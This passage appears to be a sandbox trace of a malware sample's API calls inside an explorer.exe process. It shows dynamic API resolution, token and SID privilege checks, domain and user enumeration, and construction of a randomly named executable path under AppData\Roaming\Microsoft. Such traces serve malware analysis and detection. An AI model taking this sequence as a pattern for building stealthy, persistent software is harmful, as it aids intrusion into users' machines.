[0301.659] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.659] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x10) returned 0x485f6b0 [0301.659] GetProcAddress (hModule=0x77230000, lpProcName="RegCreateKeyExA") returned 0x7724f560 [0301.659] lstrlenA (lpString="RegCreateKeyExA") returned 15 [0301.659] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.659] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x11) returned 0x485f6b0 [0301.659] GetProcAddress (hModule=0x77230000, lpProcName="RegQueryInfoKeyA") returned 0x7724fe20 [0301.659] lstrlenA (lpString="RegQueryInfoKeyA") returned 16 [0301.659] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.659] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xe) returned 0x485f6b0 [0301.660] GetProcAddress (hModule=0x77230000, lpProcName="RegEnumValueA") returned 0x77251940 [0301.660] lstrlenA (lpString="RegEnumValueA") returned 13 [0301.660] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.660] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xe) returned 0x485f6b0 [0301.660] GetProcAddress (hModule=0x77230000, lpProcName="RegEnumKeyExA") returned 0x77251960 [0301.660] lstrlenA (lpString="RegEnumKeyExA") returned 13 [0301.660] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.660] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xf) returned 0x485f6b0 [0301.660] GetProcAddress (hModule=0x77230000, lpProcName="RegSetValueExA") returned 0x7724ffc0 [0301.660] lstrlenA (lpString="RegSetValueExA") returned 14 [0301.660] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.660] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x11) returned 0x485f6b0 [0301.660] GetProcAddress (hModule=0x77230000, lpProcName="RegQueryValueExA") returned 0x7724f020 [0301.660] lstrlenA (lpString="RegQueryValueExA") returned 16 [0301.660] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.660] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xc) returned 0x485f6b0 [0301.661] GetProcAddress (hModule=0x77230000, lpProcName="RegCloseKey") returned 0x7724ed60 [0301.661] lstrlenA (lpString="RegCloseKey") returned 11 [0301.661] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.661] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x10) returned 0x485f6b0 [0301.661] GetProcAddress (hModule=0x77230000, lpProcName="RegDeleteValueA") returned 0x772507a0 [0301.661] lstrlenA (lpString="RegDeleteValueA") returned 15 [0301.661] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.661] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x19) returned 0x485f6b0 [0301.661] GetProcAddress (hModule=0x77230000, lpProcName="AllocateAndInitializeSid") returned 0x7724f440 [0301.661] lstrlenA (lpString="AllocateAndInitializeSid") returned 24 [0301.661] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.661] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x11) returned 0x485f6b0 [0301.662] GetProcAddress (hModule=0x77230000, lpProcName="SetEntriesInAclA") returned 0x772536e0 [0301.662] lstrlenA (lpString="SetEntriesInAclA") returned 16 [0301.662] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.662] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x16) returned 0x485f6b0 [0301.662] GetProcAddress (hModule=0x77230000, lpProcName="SetNamedSecurityInfoA") returned 0x772534a0 [0301.662] lstrlenA (lpString="SetNamedSecurityInfoA") returned 21 [0301.662] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.662] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x11) returned 0x485f6b0 [0301.662] GetProcAddress (hModule=0x77230000, lpProcName="SetFileSecurityW") returned 0x77250920 [0301.662] lstrlenA (lpString="SetFileSecurityW") returned 16 [0301.662] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.662] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x8) returned 0x485f6b0 [0301.662] GetProcAddress (hModule=0x77230000, lpProcName="FreeSid") returned 0x7724fa80 [0301.663] lstrlenA (lpString="FreeSid") returned 7 [0301.663] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.663] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x12) returned 0x485f6b0 [0301.663] GetProcAddress (hModule=0x77230000, lpProcName="LookupAccountSidA") returned 0x772750b0 [0301.663] lstrlenA (lpString="LookupAccountSidA") returned 17 [0301.663] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.663] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x12) returned 0x485f6b0 [0301.663] GetProcAddress (hModule=0x77230000, lpProcName="LookupAccountSidW") returned 0x7724f100 [0301.663] lstrlenA (lpString="LookupAccountSidW") returned 17 [0301.663] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.663] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x15) returned 0x485f6b0 [0301.663] GetProcAddress (hModule=0x77230000, lpProcName="CreateProcessAsUserW") returned 0x77250690 [0301.663] lstrlenA (lpString="CreateProcessAsUserW") returned 20 [0301.663] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.663] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xc) returned 0x485f6b0 [0301.663] LoadLibraryA (lpLibFileName="shell32.dll") returned 0x74720000 [0301.664] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xe) returned 0x485f6c8 [0301.664] GetProcAddress (hModule=0x74720000, lpProcName="ShellExecuteW") returned 0x748842e0 [0301.664] lstrlenA (lpString="ShellExecuteW") returned 13 [0301.664] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6c8 | out: hHeap=0x47e0000) returned 1 [0301.664] lstrlenA (lpString="shell32.dll") returned 11 [0301.664] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.664] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xb) returned 0x485f6b0 [0301.664] LoadLibraryA (lpLibFileName="user32.dll") returned 0x76850000 [0301.664] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xc) returned 0x485f6c8 [0301.664] GetProcAddress (hModule=0x76850000, lpProcName="EnumWindows") returned 0x7686a3c0 [0301.665] lstrlenA (lpString="EnumWindows") returned 11 [0301.665] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6c8 | out: hHeap=0x47e0000) returned 1 [0301.665] lstrlenA (lpString="user32.dll") returned 10 [0301.665] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.665] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xc) returned 0x485f6b0 [0301.665] LoadLibraryA (lpLibFileName="shlwapi.dll") returned 0x76bd0000 [0301.665] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x9) returned 0x485f6c8 [0301.665] GetProcAddress (hModule=0x76bd0000, lpProcName="StrStrIA") returned 0x76be8370 [0301.665] lstrlenA (lpString="StrStrIA") returned 8 [0301.665] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6c8 | out: hHeap=0x47e0000) returned 1 [0301.665] lstrlenA (lpString="shlwapi.dll") returned 11 [0301.665] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.665] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x9) returned 0x485f6b0 [0301.666] GetProcAddress (hModule=0x76bd0000, lpProcName="StrStrIW") returned 0x76be4390 [0301.666] lstrlenA (lpString="StrStrIW") returned 8 [0301.666] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.666] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x9) returned 0x485f6b0 [0301.666] GetProcAddress (hModule=0x76bd0000, lpProcName="StrCmpIW") returned 0x76be1660 [0301.666] lstrlenA (lpString="StrCmpIW") returned 8 [0301.666] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.666] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xd) returned 0x485f6b0 [0301.666] GetProcAddress (hModule=0x76bd0000, lpProcName="PathCombineA") returned 0x76bebf40 [0301.666] lstrlenA (lpString="PathCombineA") returned 12 [0301.666] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.666] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xd) returned 0x485f6b0 [0301.667] GetProcAddress (hModule=0x76bd0000, lpProcName="PathCombineW") returned 0x76be8890 [0301.667] lstrlenA (lpString="PathCombineW") returned 12 [0301.667] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.667] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xf) returned 0x485f6b0 [0301.667] GetProcAddress (hModule=0x76bd0000, lpProcName="PathMatchSpecA") returned 0x76bec2a0 [0301.667] lstrlenA (lpString="PathMatchSpecA") returned 14 [0301.667] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.667] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xf) returned 0x485f6b0 [0301.667] GetProcAddress (hModule=0x76bd0000, lpProcName="PathMatchSpecW") returned 0x76bec300 [0301.667] lstrlenA (lpString="PathMatchSpecW") returned 14 [0301.667] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.667] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x13) returned 0x485f6b0 [0301.668] GetProcAddress (hModule=0x76bd0000, lpProcName="PathUnquoteSpacesW") returned 0x76be4a50 [0301.668] lstrlenA (lpString="PathUnquoteSpacesW") returned 18 [0301.668] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.668] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x9) returned 0x485f6b0 [0301.668] GetProcAddress (hModule=0x76bd0000, lpProcName="StrTrimW") returned 0x76be7300 [0301.668] lstrlenA (lpString="StrTrimW") returned 8 [0301.668] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.668] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xa) returned 0x485f6b0 [0301.668] GetProcAddress (hModule=0x76bd0000, lpProcName="StrCmpNIA") returned 0x76beca70 [0301.668] lstrlenA (lpString="StrCmpNIA") returned 9 [0301.668] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.668] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x8) returned 0x485f6b0 [0301.668] GetProcAddress (hModule=0x76bd0000, lpProcName="StrStrW") returned 0x76be7850 [0301.668] lstrlenA (lpString="StrStrW") returned 7 [0301.669] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.669] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xd) returned 0x485f6b0 [0301.669] LoadLibraryA (lpLibFileName="setupapi.dll") returned 0x76430000 [0301.669] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x16) returned 0x485f6c8 [0301.669] GetProcAddress (hModule=0x76430000, lpProcName="SetupDiEnumDeviceInfo") returned 0x76448a60 [0301.669] lstrlenA (lpString="SetupDiEnumDeviceInfo") returned 21 [0301.669] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6c8 | out: hHeap=0x47e0000) returned 1 [0301.669] lstrlenA (lpString="setupapi.dll") returned 12 [0301.669] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.669] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x1d) returned 0x485f6b0 [0301.669] GetProcAddress (hModule=0x76430000, lpProcName="SetupDiDestroyDeviceInfoList") returned 0x76448640 [0301.669] lstrlenA (lpString="SetupDiDestroyDeviceInfoList") returned 28 [0301.669] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.670] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x15) returned 0x485f6b0 [0301.670] GetProcAddress (hModule=0x76430000, lpProcName="SetupDiGetClassDevsA") returned 0x76458af0 [0301.670] lstrlenA (lpString="SetupDiGetClassDevsA") returned 20 [0301.670] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.670] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x22) returned 0x485f6b0 [0301.670] GetProcAddress (hModule=0x76430000, lpProcName="SetupDiGetDeviceRegistryPropertyA") returned 0x764580f0 [0301.670] lstrlenA (lpString="SetupDiGetDeviceRegistryPropertyA") returned 33 [0301.670] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.726] GetCurrentProcessId () returned 0x794 [0301.726] GetTickCount () returned 0x118b9f7 [0301.726] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2aea420, nSize=0x105 | out: lpFilename="C:\\WINDOWS\\SysWOW64\\explorer.exe" (normalized: "c:\\windows\\syswow64\\explorer.exe")) returned 0x20 [0301.735] GetCurrentProcess () returned 0xffffffff [0301.751] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x28af0b8 | out: TokenHandle=0x28af0b8*=0x2e4) returned 1 [0301.751] GetTokenInformation (in: TokenHandle=0x2e4, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x28af098 | out: TokenInformation=0x0, ReturnLength=0x28af098) returned 0 [0301.752] GetLastError () returned 0x7a [0301.752] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x24) returned 0x485f6b0 [0301.752] GetTokenInformation (in: TokenHandle=0x2e4, TokenInformationClass=0x1, TokenInformation=0x485f6b0, TokenInformationLength=0x24, ReturnLength=0x28af0b4 | out: TokenInformation=0x485f6b0, ReturnLength=0x28af0b4) returned 1 [0301.752] CloseHandle (hObject=0x2e4) returned 1 [0301.752] AllocateAndInitializeSid (in: pIdentifierAuthority=0x28af0ac, nSubAuthorityCount=0x1, nSubAuthority0=0x12, nSubAuthority1=0x0, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x28af0b4 | out: pSid=0x28af0b4*=0x2be20c8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12)) returned 1 [0301.752] EqualSid (pSid1=0x485f6b8*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xb4)), pSid2=0x2be20c8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12)) returned 0 [0301.752] GetCurrentThread () returned 0xfffffffe [0301.752] OpenThreadToken (in: ThreadHandle=0xfffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x28af090 | out: TokenHandle=0x28af090*=0x0) returned 0 [0301.752] GetLastError () returned 0x3f0 [0301.752] GetCurrentProcess () returned 0xffffffff [0301.752] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x28af090 | out: TokenHandle=0x28af090*=0x2e4) returned 1 [0301.752] GetTokenInformation (in: TokenHandle=0x2e4, TokenInformationClass=0x2, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x28af080 | out: TokenInformation=0x0, ReturnLength=0x28af080) returned 0 [0301.752] GetLastError () returned 0x7a [0301.752] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x140) returned 0x485f6e0 [0301.752] GetTokenInformation (in: TokenHandle=0x2e4, TokenInformationClass=0x2, TokenInformation=0x485f6e0, TokenInformationLength=0x140, ReturnLength=0x28af0a8 | out: TokenInformation=0x485f6e0, ReturnLength=0x28af0a8) returned 1 [0301.752] AllocateAndInitializeSid (in: pIdentifierAuthority=0x28af0a0, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x28af0b4 | out: pSid=0x28af0b4*=0x2be1ff0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0301.752] EqualSid (pSid1=0x485f754*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xb4)), pSid2=0x2be1ff0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 0 [0301.752] EqualSid (pSid1=0x485f770*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0), pSid2=0x2be1ff0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 0 [0301.752] EqualSid (pSid1=0x485f77c*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x72), pSid2=0x2be1ff0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 0 [0301.752] EqualSid (pSid1=0x485f788*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x2be1ff0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0301.752] CloseHandle (hObject=0x2e4) returned 1 [0301.753] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6e0 | out: hHeap=0x47e0000) returned 1 [0301.753] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xd) returned 0x485f6e0 [0301.753] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xf) returned 0x485f6f8 [0301.753] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x74560000 [0301.753] lstrlenA (lpString="kernel32.dll") returned 12 [0301.753] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6e0 | out: hHeap=0x47e0000) returned 1 [0301.753] GetProcAddress (hModule=0x74560000, lpProcName="GetProcAddress") returned 0x745751b0 [0301.753] lstrlenA (lpString="GetProcAddress") returned 14 [0301.753] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6f8 | out: hHeap=0x47e0000) returned 1 [0301.753] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xd) returned 0x485f6e0 [0301.753] LoadLibraryA (lpLibFileName="netapi32.dll") returned 0x74060000 [0301.757] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x11) returned 0x485f6f8 [0301.757] GetProcAddress (hModule=0x74060000, lpProcName="NetApiBufferFree") returned 0x740517c0 [0301.759] lstrlenA (lpString="NetApiBufferFree") returned 16 [0301.760] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6f8 | out: hHeap=0x47e0000) returned 1 [0301.760] lstrlenA (lpString="netapi32.dll") returned 12 [0301.760] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6e0 | out: hHeap=0x47e0000) returned 1 [0301.760] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xc) returned 0x485f6e0 [0301.760] GetProcAddress (hModule=0x74060000, lpProcName="NetUserEnum") returned 0x74033970 [0301.763] lstrlenA (lpString="NetUserEnum") returned 11 [0301.763] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6e0 | out: hHeap=0x47e0000) returned 1 [0301.763] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xd) returned 0x485f6e0 [0301.764] GetProcAddress (hModule=0x74060000, lpProcName="NetGetDCName") returned 0x7401db20 [0301.768] lstrlenA (lpString="NetGetDCName") returned 12 [0301.768] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6e0 | out: hHeap=0x47e0000) returned 1 [0301.768] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x16) returned 0x485f6e0 [0301.768] GetProcAddress (hModule=0x74060000, lpProcName="NetGetJoinInformation") returned 0x73ff3060 [0301.771] lstrlenA (lpString="NetGetJoinInformation") returned 21 [0301.771] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6e0 | out: hHeap=0x47e0000) returned 1 [0301.771] NetGetDCName (in: servername=0x0, domainname=0x0, bufptr=0x28afcec | out: bufptr=0x28afcec) returned 0x995 [0301.778] NetGetJoinInformation (in: lpServer=0x0, lpNameBuffer=0x28afcec, BufferType=0x28afce4 | out: lpNameBuffer=0x28afcec*="WORKGROUP", BufferType=0x28afce4) returned 0x0 [0301.783] lstrlenW (lpString="WORKGROUP") returned 9 [0301.783] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x14) returned 0x485f6e0 [0301.783] NetApiBufferFree (Buffer=0x2be2470) returned 0x0 [0301.792] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x485f6b8*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xb4)), Name=0x2ae8cc8, cchName=0x28afce8, ReferencedDomainName=0x28afa9c, cchReferencedDomainName=0x28afcf8, peUse=0x28afce0 | out: Name="FD1HVy", cchName=0x28afce8, ReferencedDomainName="NQDPDE", cchReferencedDomainName=0x28afcf8, peUse=0x28afce0) returned 1 [0301.796] GetSystemMetrics (nIndex=4096) returned 0 [0301.801] lstrcpynW (in: lpString1=0x2ae8dd8, lpString2="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.exe", iMaxLength=522 | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.exe") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.exe" [0301.801] lstrcpynW (in: lpString1=0x2ae8c84, lpString2="xafpqko.exe", iMaxLength=64 | out: lpString1="xafpqko.exe") returned="xafpqko.exe" [0301.801] lstrlenW (lpString="xafpqko.exe") returned 11 [0301.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="xafpqko", cchWideChar=-1, lpMultiByteStr=0x2ae8c64, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xafpqko", lpUsedDefaultChar=0x0) returned 8 [0301.801] lstrlenW (lpString="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.exe") returned 64 [0301.801] lstrcpynW (in: lpString1=0x2ae9218, lpString2="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc", iMaxLength=261 | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc" [0301.801] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc", lpString2="\\" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\" [0301.801] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\", lpString2="xafpqko" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko" [0301.801] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xa) returned 0x485f700 [0301.801] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko", lpString2=".dat" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.dat") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.dat" [0301.801] lstrlenA (lpString=".") returned 1 [0301.801] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f700 | out: hHeap=0x47e0000) returned 1 [0301.801] lstrlenA (lpString="user32.dll") returned 10 [0301.802] lstrlenA (lpString="user32.dll") returned 10 [0301.802] lstrlenA (lpString="user32.dll") returned 10 [0301.802] lstrlenA (lpString="user32.dll") returned 10 [0301.802] lstrlenA (lpString="user32.dll") returned 10 [0301.802] lstrlenA (lpString="user32.dll") returned 10 [0301.802] lstrlenA (lpString="user32.dll") returned 10 [0301.802] lstrlenA (lpString="user32.dll") returned 10 [0301.802] lstrlenA (lpString="user32.dll") returned 10 [0301.802] lstrlenA (lpString="user32.dll") returned 10 [0301.802] lstrlenA (lpString="user32.dll") returned 10 [0301.802] lstrlenA (lpString="user32.dll") returned 10 [0301.802] lstrlenA (lpString="user32.dll") returned 10 [0301.802] lstrlenA (lpString="user32.dll") returned 10 [0301.802] lstrlenA (lpString="xafpqko") returned 7 [0301.802] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x1b) returned 0x485f700 [0301.802] RtlAllocateHeap (HeapHandle=0x47e0000, 